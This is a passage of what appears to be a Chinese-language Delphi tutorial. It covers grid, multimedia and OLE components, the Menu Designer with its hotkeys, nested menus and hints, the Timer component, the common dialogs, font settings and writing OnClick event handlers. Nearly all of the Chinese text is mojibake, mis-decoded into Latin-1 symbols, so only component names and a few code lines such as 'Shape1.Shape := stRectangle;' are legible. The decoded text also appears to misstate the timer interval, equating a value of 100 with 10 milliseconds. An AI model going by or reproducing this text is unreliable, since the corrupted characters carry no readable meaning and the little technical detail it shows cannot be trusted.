ͼÐαí¸ñ²¿¼þDrawGridʹµÃÓû§¿ÉÒÔÓñí¸ñµÄ·½Ê½ÏÔʾ·ÇÎı¾µÄÊý¾Ý£¬ËüµÄÓ¦ÓÃÃæ±È×Ö·û´®±í¸ñ²¿¼þ¸üΪ¹ã·º£¬¿ÉÒÔ°ÑͼƬºÍÎı¾Ò»Æð·ÅÔÚÍø¸ñÖС£
ÑÕÉ«Íø¸ñ²¿¼þColorGridÔÚSampleÒ³ÉÏ£¬ËüÌṩ¿ØÖÆÇ°¾°É«ºÍ±³¾°É«µÄ½çÃæ£¬Í¨¹ýÊôÐÔForeGroundColorºÍBackGroundColor¿ÉÒÔ·ÃÎʵ½£¬Ò²¿ÉÒÔͨ¹ý³ÌÐò£¬°ÑµÃµ½µÄÑÕÉ«¸³Öµ¸øÆäËü¶ÔÏóµÄÑÕÉ«ÊôÐÔ¡£
SampleÒ³µÄÈÕÀú²¿¼þCalendarÒ²ÊÇÓñí¸ñµÄ·½Ê½±íÏֵģ¬ËüÌṩÁËÒ»¸ö¼òµ¥µÄÒÔÔ·ÝΪ¿âµ¥ÔªµÄÈÕÀú±í¸ñ£¬Í¨¹ýÉ趨YearºÍMonthµÄÖµ£¬¿ÉÒԵõ½Ïà¶ÔÓ¦µÄÔ·ݵÄÈÕÀú¡£¡¡
1.3.8 ¶àýÌå(MultiMedia)ºÍOLE²¿¼þ¡¡
ýÌå²¥·ÅÆ÷²¿¼þMediaPlayerºÍOLE²¿¼þ¿ÉÒÔÔÚSystemÒ³ÉÏÕÒµ½¡£Ã½Ìå²¥·ÅÆ÷²¿¼þÔÚ´¦Àí¶àýÌåÎļþʱºÜÓÐÓá£ËüÏÔʾһ¸öVCR·ç¸ñµÄ¿ØÖÆÃæ°å£¬ÈÃÄú¼Ç¼»ò²¥·Å¶àýÌåµÄͼÏñ¡¢ÉùÒôÎļþ¡£Äú¿ÉÒÔͨ¹ýÊôÐÔµÄÉ趨À´¿ØÖƲ¿¼þÉϵĸ÷¸ö°´Å¥£¬Èç¸Ä±äÏÔʾÑÕÉ«¡¢Ôö¼õ°´Å¥ÊýÄ¿µÈ¡£¸Ä±äÒ»ÏÂColoredButtons¡¢EnabledButtons¡¢VisableButtonsµÄ¸÷¸ö×ÓÊôÐÔÖµ£¬Äú¾Í²»ÄÑ·¢ÏÖËüÃÇ¿ØÖƵÄÏÔʾЧ¹û¡£¾ßÌåµÄÓ¦ÓÃÒѾ³¬¹ý±¾¼ò½éµÄÄ¿µÄ£¬Çë²ÎÔİïÖúÒÔ¼°ºóÎĵÄÏêϸ½éÉÜ¡£
OLE¿Í»§¶Ë²¿¼þOLEContainerÔÚ´°ÌåÖд´½¨Ò»¸öOLEÓû§ÇøÓò£¬ÓÃÓÚÓëDelphiÍⲿµÄij¸ö¶ÔÏó½øÐнӿڡ£Èô¶ÔÍⲿµÄParadox±í¸ñ¡¢WordÎļþ¡¢À©Õ¹Ò³µÈ½øÐвÙ×÷£¬Ôò¶ÔÏó±¾ÉíµÄÓ¦ÓóÌÐò±ØÐëÖ§³ÖOLE²Ù×÷¡£DelphiÌṩÁËÖ§³ÖOLEÓ¦ÓõĶÔÏóÇåµ¥£¬µ¥»÷ObjClassÊôÐÔµÄÊ¡ÂÔ°´Å¥£¬¾Í»áÏÔʾ³öÀ´¡£¾ßÌåµÄÓ¦Óã¬Çë²éÔİïÖú»òÔĶÁºóÎĵÄÏêϸ²ûÊö¡£¡¡
ÒÔÉÏ£¬ÎÒÃǽéÉÜÁËDelphiµÄ»ù±¾¿ÉÊÓ²¿¼þ¡£¶ÁÕß¿ÉÄܻᷢÏÖ£¬ÔÚStardradÒ³×îÇ°ÃæµÄÁ½¸ö²¿¼þMainMenuºÍPopupMenu»¹Ã»ÓÐÌá¼°¡£ÒòΪÕâÊǽ¨Á¢²Ëµ¥µÄÖØÒª¡¢»ù±¾²Ù×÷£¬ÎÒÃǽ«ÔÚÏÂÒ»½ÚÖÐ×öÏêϸµÄ½éÉÜ¡£ÁíÍ⣬ÔÚÏÂÎÄÖУ¬ÎÒÃÇ»¹½«½éÉܱȽÏÖØÒªµÄ²»¿ÉÊÓ²¿¼þ¡£ÖÁÓÚÊý¾Ý¿â²¿¼þ¡¢¶¯Ì¬Êý¾Ý½»»»DDE²¿¼þµÈ£¬ÒòΪÔÚºóÃæÕ½ÚÖÐÓÐÏ꾡µÄÓ÷¨½éÉÜ£¬´Ë´¦²»×¸Êö¡£¡¡
1.4 ʹÓ÷ǿÉÊÓ²¿¼þ¡¡
ÉÏÒ»½Ú½éÉܵĸ÷ÖÖ²¿¼þ£¬ÔÚÉè¼ÆºÍÔËÐÐʱµÄÐÎʽÊÇÒ»ÑùµÄ¡£±¾½ÚËù½éÉܵIJ¿¼þ£¬ÔÚÔËÐÐʱ±»Òþ±ÎµØÇ¶Èëµ½´°¿ÚÖУ¬ËüÃDZ¾Éí²¢²»×öÈκÎÊÂÇ飬±ØÐë±»Óû§µÄ³ÌÐòËùÖ§³Ö²ÅÄÜ·¢Éú×÷Óá£ÒòΪ²¿¼þµÄÉè¼ÆÐÎ×´ºÍÔËÐÐ״̬²¢²»Ïà¹Ø£¬ËùÒÔ£¬ÕâÖÖ²¿¼þÔÚÉè¼Æ´°ÌåÖеÄλÖÃÎ޹ؽôÒª£¬¿ÉÒÔ·ÅÔÚ´°ÌåÉϲ»Ó°ÏìÆäËü¿ÉÊÓ²¿¼þµÄÈκÎλÖá£ÕâÖÖ²¿¼þ£¬³ÆÖ®Îª·Ç¿ÉÊÓ»¯²¿¼þ¡£
Ê×ÏÈ£¬½éÉÜÔÚStandardÒ³ÉϵÄÖØÒª²¿¼þÖ÷²Ëµ¥MainMenuºÍµ¯³öʽ²Ëµ¥PopupMenuµÄÏêϸÓ÷¨¡£¡¡
1.4.1 ʹÓò˵¥²¿¼þ¡¡
²Ëµ¥²¿¼þº¬ÓÐÄÚÖõĽ»»¥Éè¼ÆÆ÷¡£ÔÚÉè¼Æ²Ëµ¥Ê±£¬¿ÉÒÔÓò˵¥Éè¼ÆÆ÷Menu Designer½øÐй¤×÷¡£
Ó¦ÓóÌÐòµÄ²Ëµ¥ÓÐÁ½ÖÖÐÎʽ£ºMainMenuÊÇÒ»°ãµÄWindowsÓû§½çÃæ±ØÐëµÄ²¿¼þ£¬ËüÏÔʾÔڹ̶¨µÄλÖã¬Ò»°ãÓüüÅ̺ÍÊó±ê×ó¼üÀ´¼¤»î²Ëµ¥µÄ¹¦ÄÜÏPopupMenuÊǵ¯³öʽ²Ëµ¥£¬ÀýÈ磬ÎÒÃÇǰÎĵÄСÀý³ÌÔÚ¶ÔÆë²¿¼þʱÓõ½µÄDelphi²Ëµ¥£¬¾ÍÊǵ¯³öʽµÄ¡£Ò»°ãÒÔÊó±êµÄÓÒ¼ü»òÆäËü¿ì½Ý¼üÀ´¼¤»î²Ëµ¥£»²Ëµ¥µÄλÖÃÊÇÔÚÆÁÄ»ÉÏ¡°¸¡¶¯¡±µÄ£¬¸ù¾ÝÊó±êµÄµ±Ç°Î»Öþö¶¨¡£
ÒÔÏ£¬ÎÒÃǽ«MainMenuºÍPopupMenuͳ³ÆÎª²Ëµ¥¡£¡¡
1.4.1.1 ½øÈë²Ëµ¥Éè¼ÆÆ÷Menu Designer¡¡
´´½¨²Ëµ¥Ê±£¬Ê×ÏÈÒªÔÚ´°ÌåÖзÅÖÃÒ»¸ö²Ëµ¥¶ÔÏó¡£È»ºóµ÷ÈëMenu Designer½øÐв˵¥µÄÏêϸÉ趨¡£ÓÃÁ½ÖÖ·½Ê½¿ÉÒÔ½øÈëMenu Designer£ºÑ¡Öв˵¥²¿¼þ£¬µã¶¯ÊôÐÔÖÐItemsÊ¡ÂÔ°´Å¥£»»òÔڲ˵¥²¿¼þÉÏË«»÷×ó¼ü£¬¾Í»á³öÏÖMenu Designer¡£
1.4.1.2 ´´½¨²Ëµ¥µÄ¸÷¸öÏîÄ¿¡¡
½øÈëMenu Designer£¬»á·¢ÏÖÔڲ˵¥µÄµÚÒ»ÏîλÖÃÉÏÓмÓÁÁÏÔʾ¡£ÊäÈë¶¥²ã²Ëµ¥Ïî(ʵ¼ÊÉÏÊÇÔÚÉ趨¶¥²ã²Ëµ¥ÏîµÄCaptionÊôÐÔ)²¢»Ø³µ¡£Ò»Ïî²Ëµ¥ÌõÉèÖÃÍêºó£¬¼ÓÁÁÏÔʾµÄλÖñ»ÒÆÖÁÏÂÀ²Ëµ¥µÄÏÂÒ»Ïî,ͬʱ£¬Ö÷²Ëµ¥¶¥²ãÉÏ»á³öÏÖÐéÏß¿ò£¬Ö¸Ê¾³öÏÂÒ»¸ö¶¥²ã²Ëµ¥ÏîµÄλÖá£Òª°üº¬Ò»¸ö¸ôÀëÌõ£¬¿ÉÒÔ¼üÈë¶Ì»®ºá¡°-¡±¼´¼õºÅ²¢»Ø³µ¡£Öð²½ÊäÈë²Ëµ¥µÄ¸÷ÏÓÃÊó±ê×ó¼üÇл»µ½ÏÂÒ»¸ö¶¥²ã²Ëµ¥£¬Ö±µ½²Ëµ¥Íê³É¡£¡¡
1.4.1.3 É趨¼ÓËÙ¼üºÍÈȼü¡¡
Äú¿ÉÒÔÉ趨¼ÓËÙ¼ü£¬ÓëǰÎĵÄÀý³ÌÏàͬ£¬Ö»ÐèÔÚÊäÈëʱ£¬½«¡°&¡±·Åµ½ÐèÒªÖ¸¶¨Îª¼ÓËÙ¼üµÄ×ÖÄ¸Ç°Ãæ£¬¸Ã×Öĸ½«±»ÓÃÏ»®ÏßÏÔʾ£¬ÔËÐÐʱ£¬°´¡°Alt+¼ÓËÙ¼ü×Öĸ¡±¿ÉÒÔ¼¤»î¸Ã²Ëµ¥Ìõ¡£É趨ÈȼüÒ²ÊǺܷ½±ãµÄ£¬Ö»ÐèÔÚObject InspectorÖиò˵¥ÌõµÄShortCutÊôÐÔÖµ¶ÎµÄÏÂÀ²Ëµ¥ÖУ¬ÎªËüÑ¡¶¨Ò»¸öÈȼü×éºÏ¼´¿É¡£ÔÚÔËÐÐʱ£¬Í¨¹ý¡°Ctrl+Èȼü×Öĸ¡±À´¼¤»î²Ëµ¥Ìõ¡£¼ÓËÙ¼üºÍÈȼü²¢²»Ã¬¶Ü£¬Äú¿ÉÒÔͬʱָ¶¨ËüÃÇ¡£¡¡
1.4.1.4 ʹÓÃMenu DesignerµÄµ¯³öʽ²Ëµ¥¡¡
Menu DesignerÖл¹ÓÐÒ»¸öµ¯³öʽ²Ëµ¥£¬ËüÌṩÁË¸ßÆµ²Ëµ¥´´½¨ÃüÁ²¢¿ÉÒÔ¶ÔÄ£°åÑ¡Ïî½øÐпìËÙ·ÃÎÊ¡£Ôڲ˵¥Éè¼ÆÆ÷´°¿ÚÖе¥»÷ÓÒ¼ü£¬»ò½«¹â±êÍ£Ôڲ˵¥Éè¼ÆÆ÷ÉÏ£¬°´Alt-F10£¬¿ÉÒÔµ÷³öMenu DesignerµÄµ¯³öʽ²Ëµ¥¡£Ê¹ÓÃMenu DesignerµÄµ¯³öʽ²Ëµ¥¿ÉÒÔÏò²Ëµ¥Ôö¼Ó²Ëµ¥Ïɾ³ý²Ëµ¥ÏîµÈ²Ù×÷£¬»¹¿ÉÒÔ¶Ô±ê×¼Ö÷²Ëµ¥Ä£°å½øÐÐÔö¼Ó¡¢É¾³ý¡¢²åÈëµÈ²Ù×÷¡£
Ϊ²Ëµ¥±àÖÆ¹¦ÄÜ£¬¿ÉÒÔË«»÷²Ëµ¥Ìõ£¬»òÔÚÌØ¶¨²Ëµ¥ÌõµÄEventsÒ³ÉÏ£¬Ë«»÷ËüÏìÓ¦µÄʼþµÄÖµ¶Î£¬Delphi½«»Øµ½´úÂë±à¼Æ÷£¬¹â±êÍ£ÔÚʼþ¶ÔÓ¦µÄʼþ´¦Àí¹ý³ÌÖУ¬Äú¿ÉÒÔΪ²Ëµ¥±àÖÆÊµÏÖÈÎÎñµÄ´úÂë¡£
Èç¹ûÄúÒѾΪSpeed BarÉϵļÓËÙ°´Å¥±àÖÆÁËʼþ´¦Àí¹ý³Ì£¬¶øÐèÒª°ÑÏàÓ¦µÄ²Ëµ¥ÏîÁ¬½Óµ½Ê¼þ´¦Àí¹ý³ÌÉÏ£¬ÔòÖ»ÐèÔڸò˵¥ÏîµÄEventsÒ³µÄOnClickʼþºó£¬ÊäÈëʼþ´¦Àí¹ý³ÌµÄÃû³Æ¼´¿É¡£ÕâÑùµ¥»÷²Ëµ¥Ïî±ãºÍ°´¶¯¼ÓËÙ°´Å¥±ãʵÏÖͬÑùµÄ¹¦ÄÜ¡£¡¡
1.4.1.5 ´´½¨Ç¶Ìײ˵¥¡¡
´´½¨Ç¶Ìײ˵¥Ò²ÊÇÖØÒªµÄÊֶΡ£DelphiµÄǶÌײ˵¥·ç¸ñÊÇǶÌײ˵¥ÁÐÔÚËüÉϲã²Ëµ¥µÄ±ßÉÏ£¬Èçͼ1.11Ëùʾ£º¡¡
´´½¨Ç¶Ìײ˵¥£¬°Ñ¼ÓÁÁÌõÒÆµ½ËüµÄÉϲã²Ëµ¥ÌõÉÏ£¬°´Ctrl+ÓÒÐмü£¬½«µ¯³ö×Ӳ˵¥£¬¾Í¿ÉÒÔ°´ÕÕͬÉÏËùÊöµÄ·½·¨½øÐд´½¨¹¤×÷ÁË¡£
ͨ¹ýÍÏ--·Å²Ù×÷£¬¿ÉÒÔʵÏֲ˵¥ÌõµÄÖØÐ¶¨Î»¡£ÓÃÊó±ê×ó¼ü°´×¡Ä³Ò»²Ëµ¥Ìõ£¬Òƶ¯µ½²Ëµ¥µÄijһλÖã¬ÊÍ·Å×ó¼ü£¬²Ëµ¥Ìõ¼´µÃµ½ÖØÐ¶¨Î»¡£²Ëµ¥Éè¼ÆÆ÷ÔÊÐí²Ëµ¥ÌõÔÚ¶¥²ãÏÂÒÆ¶¯Î»Öã¬Ö§³Ö²Ëµ¥ÌõÔÚǶÌײ˵¥ÖÐÒÆ½ø¡¢ÒƳö£¬ÉõÖÁ¿ÉÒÔ½«²Ëµ¥ÌõÔÚ¸÷¸ö¶¥²ã²Ëµ¥ÏÂÊôµÄ²Ëµ¥¼äÒÆ¶¯Ó붨λ¡£
1.4.1.6 ¸ø²Ëµ¥¼ÓÌáʾ(Hint)
Ôڲ˵¥ÖмÓÌáʾÊǺܺõÄϰ¹ß¡£ËüʹµÃÄúµÄÓû§ÔÚÔËÐв˵¥¹¦ÄÜǰ£¬¿ÉÒԶԲ˵¥µÄÈÎÎñÓÐÒ»¸ö¼òÂÔµÄÁ˽⡣Ôڲ˵¥ÌõÈÎÒ»ÏîµÄÖµ¶Î°´F1,¿ÉÒÔ²éÔÄÔÚÏß°ïÖú£¬ÔÚ°ïÖúµÄÕýÎÄÖÐÕÒµ½OnHint²¢²éÔÄËüµÄÀý³Ì£¬½«DisplayHintµÈ·½·¨µÄÀý³ÌCopyµ½ÄúµÄ³ÌÐòÖС£È»ºó£¬Ôڲ˵¥ÌõµÄHintÊôÐÔÖмÓÈëÌáʾÕýÎÄ£¬ÔËÐÐʱµ±Óû§½«Êó±êÒÆµ½²Ëµ¥Ïîʱ£¬ÔÚ´°ÌåµÄµ×²¿×´Ì¬ÐÐÖлá³öÏÖHintÊôÐÔÖеÄÌáʾÐÅÏ¢¡¡
1.4.1.7 ²Ëµ¥µÄÆäËüÊôÐÔ¼ò½é¡¡
²Ëµ¥»¹ÓÐÆäËüµÄһЩÊôÐÔ¡£EnabledÊôÐÔ¾ö¶¨²Ëµ¥ÊÇ·ñ±»½ûÓã¬ÕâÔÚ±à³ÌÖпÉÒÔʵÏÖÒ»¶¨Çé¿öϲ»ÔÊÐíÓû§Ê¹ÓÃijÏî²Ëµ¥¡£CheckedÊôÐÔ±íÕ÷Á˲˵¥ÏîµÄ¿ª¹ØÇé¿ö£¬µ±CheckedΪTrueʱ£¬²Ëµ¥ÌõµÄÇ°Ãæ»á³öÏÖÑ¡ÖбêÖ¾¡£VisibleÊôÐÔ¿ØÖƲ˵¥Òþ²ØÓë·ñ¡£ÉèÖÃÕâÒ»ÊôÐÔ¿ÉÒÔʵÏÖ¶à°æ±¾µÄ²Ëµ¥¡£±»Òþ²ØµÄ²Ëµ¥ÏîÒÔ¼°ËüµÄ×Ӳ˵¥¶¼ÊDz»¿É¼ûµÄ£¬»òÊDz»¿É·ÃÎʵġ£
Popup MenuÔÚÓÃMenu DesignerʱÊÇÍêÈ«ÏàͬµÄ¡£Ö»²»¹ýËüÔÚÔËÐÐʱºÍÖ÷²Ëµ¥µÄ¼¤»îÐÎʽÓÐËù²»Í¬£ºËüÊÇÓÃÊó±êµÄÓÒ¼ü¼¤»îµÄ¡£µ¯³öʽ²Ëµ¥ÔÚÒ»¶¨µÄ´°¿Ú·¶Î§ÄÚ¼¤»î£¬ËùÒÔ±ØÐ뽫´°¿ÚºÍµ¯³öʽ²Ëµ¥ÁªÏµÆðÀ´¡£ÔÚÉè¼ÆÍêPopupMenuºó£¬ÐëÔÚNameÊôÐÔÖÐΪËüÃüÃû£¬È»ºó°ÑÕâ¸öÃû³Æ¸³¸ø´°ÌåµÄPopupMenuÊôÐÔ¡£ÕâÑù£¬´°¿Ú»á½ÓÊÕÓÒ¼üÊäÈ룬²¢¼¤»îµ¯³öʽ¶Ô»°¿ò¡£¡¡
1.4.2 ʹÓüÆÊ±Æ÷²¿¼þTimer¡¡
ÔÚSystemÒ³ÉÏ£¬»¹ÓÐÒ»¸ö(Timer¼ÆÊ±Æ÷)²¿¼þ£¬ËüÄܹ»ÓйæÂɵش¥·¢OnTimerʼþ£¬·¢ËÍÐÅÏ¢¸øÓ¦ÓóÌÐò¡£ËüÊDZàÖÆÓ¦ÓóÌÐòʱ×îÎªÖØÒªµÄ²¿¼þÖ®Ò»¡£¡¡
1.4.2.1 TimerµÄÖØÒªÊôÐÔ¡¡
EnabledÊôÐÔ±íʾÁ˼ÆÊ±Æ÷´ò¿ª»¹Êǹرգ»ÓÃIntervalÊôÐÔÉèÖÃÁ½¸öOnTimerʼþ¼äµÄ¼ä¸ô£¬µ¥Î»ÊǺÁÃ룬Ҳ¼´Ç§·ÖÖ®Ò»Ãë¡£½«¼ä¸ôÖÃΪ0Ï൱ÓڹرռÆÊ±Æ÷£¬IntervalµÄ×î´óÔÊÐíÖµÊÇ32767£¬Ò²¼´32.767Ãë¡£¡¡
1.4.2.2 ʹÓÃTimer¶Ô³ÌÐò½øÐпØÖÆ¡¡
¼ÆÊ±Æ÷ÊǶÀÁ¢µÄ¶ÔÏó£¬ÔÚÆô¶¯ÓëWindowsÎ޹صÄÂß¼ºÍÓ¦ÓÃʼþʱ¼«ÆäÓÐÓá£È磺ÓüÆÊ±Æ÷¿ÉÒÔÄ£ÄâʱÖÓ»ò¼ÆÊ±Æ÷£¬¿ÉÊÓµØÏÔʾ¾¹ýµÄʱ¼ä£»¿ÉÒÔÓÃ×÷ϵͳÑÓʱ£¬DelphiÌáʾÐÅÏ¢³öÏÖÖ»ÐèÔÚ¸ÃÇøÓòÍ£¶Ù¼¸Ã룬¾ÍÊÇTimerÓ¦ÓõÄÒ»¸öÀý×Ó£»¿ÉÒÔ¼ì²éϵͳ»·¾³¡¢Ê¼þ£¬¸ù¾Ý½á¹û½øÐÐÏìÓ¦£»Ò²¿ÉÒÔÔÚ´°¿ÚÖÐÉÁ˸һ¶ÎÕýÎÄ»òͼÏñ£¬ÌáʾijÖÖ²Ù×÷»ò´¦ÀíÕýÔÚ½øÐеȵȡ£
ÔÚ´°ÌåÖзÅÖÃÒ»¸ö¼ÆÊ±Æ÷Timer²¿¼þ£¬½«ËüµÄIntervalÊôÐÔÖÃΪ100(ÿ¸ô10ºÁÃë´¥·¢Ò»´Î)£¬Ë«»÷²¿¼þ½øÈë´úÂë±à¼Æ÷£¬ÔÚËüµÄʼþÖмÓÈëÕâÑùÒ»¾ä³ÌÐò£º¡¡
MessageBeep(0);¡¡
ÔËÐÐËü£¬»áÓйæÂɵط¢³ö¡°¶£¡±Éù¡£Ëü¸øÄúÒ»¸öÓ¦ÓÃTimer²¿¼þµÄÖ±¹ÛÓ¡Ïó¡£
¾¡¹ÜDelphiµÄ¼ÆÊ±Æ÷ÿÃë¿ÉÒÔ²úÉú1000´Î¼¤·¢£¬ÔÚ±à³ÌÖл¹±ØÐë×¢Òâ³ÌÐò¶Ô¼ÆÊ±Æ÷¼¤·¢µÄÏìÓ¦¡£Èç¹û³ÌÐò´¦ÀíOnTimerʼþµÄʱ¼ä³¬¹ýIntervalµÄÉ趨ֵ£¬¾Í¿ÉÄÜ´í¹ýʼþ£¬ÒòΪµ±ÏÂÒ»´Î¼¤·¢µ½À´Ê±£¬ÏµÍ³ÕýæÓÚ´¦ÀíÉÏһʼþ£¬ÔòÕâ´Î¼¤·¢¾Í»á±»ºöÂÔ¡£Í¬Ê±Òª×¢ÒâÆäËüµÄWindowsÓ¦ÓóÌÐòÊÇ·ñ»áÓ°Ïì¼ÆÊ±Æ÷µÄ´¥·¢¡£Èç¹ûºǫ́ÕýÔËÐÐ×ÅÒ»¸öÕ¼Óô¦ÀíÆ÷µÄ³ÌÐò£¬¾Í¿ÉÄܻᵼÖÂTimerµÄ´¥·¢²»×¼È·£¬´Ó¶øÊ¹Ç°Ì¨³ÌÐòÔËÐгöÏÖ´íÎ󡣡¡
1.4.3 ʹÓù«ÓöԻ°¿ò²¿¼þ¡¡
DelphiΪÄúÔÚDialogsÒ³ÉÏÌṩÁ˼¸¸ö±ê×¼¶Ô»°¿ò£¬ËüÃÇÊÇÎļþ´ò¿ªOpenDialog£»Îļþ±£´æSaveDialog£»×ÖÌåFontdialog£»ÑÕÉ«ColorDialog£»´òÓ¡PrintDialog£»´òÓ¡ÉèÖÃPrintsetupDialog;²éÕÒFindDialog£»Ìæ»»ReplaceDialogµÈ²¿¼þ¡£
-
µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨Èý£©
2007-05-28 16:23:03
µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨Èý£© 1.2.4.3 ºº»¯½çÃæ¼°×ÖÌåѡȡ¡¡
Èç¹ûÄúµÄWindows95ϵͳÖа²×°ÁËÖÐÎÄϵͳ£¬¶Ô½çÃæ×öºº»¯ÊǼ«Æä·½±ãµÄ¡£ÀýÈ磬Äú¿ÉÒÔ½«Button1µÄCaptionÊôÐԸijɡ°&R¾ØÐΡ±£¬Í¬ÑùµØ¿É¸Ä±äÆäËü²¿¼þµÄÊôÐÔ£¬½«´°Ìå×ö³ÉÖÐÎĵIJÙ×÷½çÃæ¡£
Èô¶ÔÖС¢Î÷ÎÄ×ÖÌå²»ÂúÒ⣬Ôò¿ÉÒÔµ÷ÕûFontÊôÐÔÒÔÂú×ãÄúµÄÒªÇó¡£FontÊôÐÔµÄÇ°Ãæ£¬ÓÐÒ»¸öССµÄ¡°+¡±ºÅ£¬Õâ˵Ã÷Ëü±íÕ÷µÄÊǼ¯ÊôÐÔ£¬Ò²¼´ÊôÐÔ²»ÔÙÊÇÒ»¸öµ¥Öµ£¬¶øÊÇÒ»¸öÊôÐԵļ¯ºÏ¡£Ë«»÷Font£¬Object Inspector½«ÔÚÏÂÃæÀ©³äÏÔʾËüµÄÆäËüÊôÐÔ¡£ColorÓÃÀ´±íʾÎı¾µÄÑÕÉ«£¬Name¶¨ÒåÁË×ÖÌåÃû£¬ÈçSystem,MsSerif,Arial,ËÎÌ壬ºÚÌåµÈ¡£StyleÏÂÓÖÓµÓÐËĸöÊôÐÔ£ºfsBold,fsItalic,fsUnderlineºÍfsTrikeOut¡£Èç¹ûÏëÈÃ×ÖÌåÓÐÆäÖеÄijÖÖ·ç¸ñ£¬¿É°ÑÏàÓ¦µÄÊôÐÔÖµÉè³ÉTrue¡£
Font¶Ô»°¿ò¿ÉÒÔ¸üΪֱ½ÓµØÉ趨ÒÔÉÏÊôÐÔ¡£FontÊôÐÔÓÒ²àÖµ¶ÎÓдøÊ¡ÂԺŵİ´Å¥£¬µ¥»÷Ëü¿ÉÒÔ¼¤»îFont¶Ô»°¿ò£¬Èçͼ1.7Ëùʾ£º
ÕâÒ»¶Ô»°¿òÖаüº¬ÁËÉÏÊöµÄÈ«²¿ÊôÐÔ£¬Ê¹µÃµ÷Õû×ÖÐθüΪֱ½Ó·½±ã¡£µ«ÒªÉêÃ÷µÄÊÇ£¬¶ÔÓÚ´°ÌåFormÀ´½²£¬FontÊôÐԸıäµÄÊÇ´°ÌåÖÐÆäËü²¿¼þµÄÏÔʾ×ÖÐΣ¬Ëü±¾ÉíµÄ±êÌâ×ÖÌåÊÇȱʡµÄSystem×ÖÌ壬²»ÄÜͨ¹ýÊôÐÔÀ´¸Ä±ä¡£
1.2.4.4ʹÓÃͼÐα༶Ի°¿ò¡¡
×îºó£¬ÎÒÃÇÓÃͼ±ê°´Å¥BitBtn1À´¿ØÖÆShape²¿¼þµÄÑÕÉ«¡£Ñ¡ÖÐͼ±ê°´Å¥£¬½«ËüµÄCaptionÊôÐÔ¸ÄΪ¡°&Color¡±(»ò¡°&CÑÕÉ«¡±)¡£¿ÉÒÔÔÚ°´Å¥ÖмÓÈëÒ»¸öͼ±êÀ´ÐÎÏ󵨱íÊöËüµÄ¹¦ÄÜ¡£Ñ¡ÓÃObject InspectorÖеÄGlyphÊôÐÔ£¬µã¶¯Öµ¶ÎµÄÈýµã°´Å¥£¬µ¯³öͼÐα༶Ի°¿ò¡£
Äú¿ÉÒÔͨ¹ýͼÐα༶Ի°¿ò×°Èëͼ±ê£¬ÔÚ±¾Àý³ÌÖУ¬°´¶¯Load°´Å¥£¬Ñ¡Ôñ\Delphi 2.0\Images\Buttons\Brush.bmpÎļþ×°È룬Bitbtn1¾Í³ÉΪһ¸öͼ±ê°´Å¥¡£ÁíÍ⣬Delphi»¹ÎªÄúÌṩÁ˷ḻµÄWindows±ê׼ͼ±ê°´Å¥¡£ÏëÔËÓÃËüÃÇ£¬¸Ä±äBitBtnµÄKindÊôÐÔ¡£Óû§²»·Á³¢ÊÔһϣ¬Ñ¡ÔñÆäËüÖµ¿ÉÒÔÉú³ÉƯÁÁµÄ±ê×¼°´Å¥£¬ÈçOK,CancelµÈµÈ¡£Õâ»áʹÄúÔÚÒÔºóµÄ³ÌÐò¿ª·¢ÖÐÊÜÒæ·Ëdz¡£
ÖÁ´Ë£¬½çÃæµÄÉè¼Æ¹¤×÷¾ÍÒÑÍê³ÉÁË¡£ÔËÐÐһϹ۲ìЧ¹û£¬±ðÍü¼Ç±£´æÄúµÄ¿âµ¥ÔªÎļþ¡¢¹¤³ÌÎļþ¡£¡¡
1.2.5 ±àдʼþ´¦Àí¹ý³Ì¡¡
Íê³ÉÓû§½çÃæ£¬Ö»Êǽ¨Á¢ÁËÒ»¸ö¡°¹Ç¼Ü¡±£¬ÏÂÃæÒª×öµÄ±ãÊǸø³ÌÐò¼ÓÈë¡°Áé»ê¡±£¬Ò²¼´£¬Ê¹ËüÄܹ»Íê³ÉËùÒªÇóµÄ¹¦ÄÜ¡£¡¡
1.2.5.1 ΪÓû§²Ù×÷½¨Á¢¡°Ê¼þ¡±
µ¥»÷´°ÌåÉϵġ°Rectangle¡±°´Å¥£¬ÔÚObject InspectorÖУ¬µã¶¯¡°Events¡±Ò³±êÇ©£¬³öÏÖʼþ´°¿Ú¡£ÔÚ±¾Àý³ÌÖУ¬ÎÒÃÇÖ»¹ØÐÄOnClickʼþ£¬¼´°´Å¥½ÓÊÕµ½×ó¼üµ¥»÷ʱӦÓóÌÐòËù×÷³öµÄ·´Ó¦¡£ÔÚObject Inspector´°¿ÚÖÐË«»÷OnClickʼþÓҶ˵ÄÖµ¶Î£¬»áʹµÃDelphi¼¤»î¿â´úÂë±à¼Æ÷£¬²¢½«¹â±êÍ£Ôڸð´Å¥Ëù¶ÔÓ¦µÄ¹ý³ÌµÄbegin...endÖ®¼ä¡£¡°Rectangle¡±°´Å¥µÄ¹¦ÄÜÊÇʹShape²¿¼þµÄÐÎ״Ϊ¾ØÐΡ£ÁªÏµÇ°ÎÄÎÒÃDz鿴¹ýµÄShape²¿¼þµÄ¡°Shape¡±ÊôÐÔ£¬ÏÖÔÚ£¬ÎÒÃÇÒª×öµÄÊÇÔÚ³ÌÐòÖпØÖƲ¿¼þµÄÊôÐÔ¡£
ÔÚ¹â±ê´¦¼üÈëÒÔϵijÌÐò¶Î£º¡¡
¡¡¡¡Shape1.Shape := stRectangle;¡¡
ÓÃͬÑùµÄ·½·¨£¬ÔÚButton2ºÍButton3µÄOnClickʼþÏìÓ¦ÄÚ¸´ÖÆÒÔÉÏÓï¾ä£¬²¢·Ö±ð½«¸³ÖµºÅºóµÄÊôÐÔÖµ¸ÄΪstRoundRectºÍstEllipse¡£Îª·ÀÖ¹ÊäÈë´íÎóµ¼Ö³ÌÐòÔËÐгö´í£¬½¨ÒéÄúʹShape1²¿¼þµÄObject Inspector¿É¼û£¬¼ìÊÓÊôÐÔShapeµÄ¸÷¸öÖµ²¢¶ÔÓ¦ÊäÈë¡£
¡¡¡¡ÔÚ´úÂë±à¼Æ÷ÖУ¬Delphi×Ô¶¯½¨Á¢µÄ¹ý³ÌÒԹؼü×ÖProcedure¿ªÍ·£¬Óû§¿ÉÒÔÔÚbegin¡endÖ®¼ä¼ÓÈë×Ô¼ºµÄ³ÌÐò£¬Ò²¿ÉÒÔ¶¨Òå±äÁ¿¡£Õâ¸ö³ÌÐò¿é¶ÔÓû§µÄÍⲿʼþ(´ËÀýÖÐÊǰ´¶¯°´Å¥)½øÐÐÏìÓ¦¡£ÎÒÃdzÆÖ®ÎªÊ¼þ´¦Àí¹ý³Ì¡£¡¡
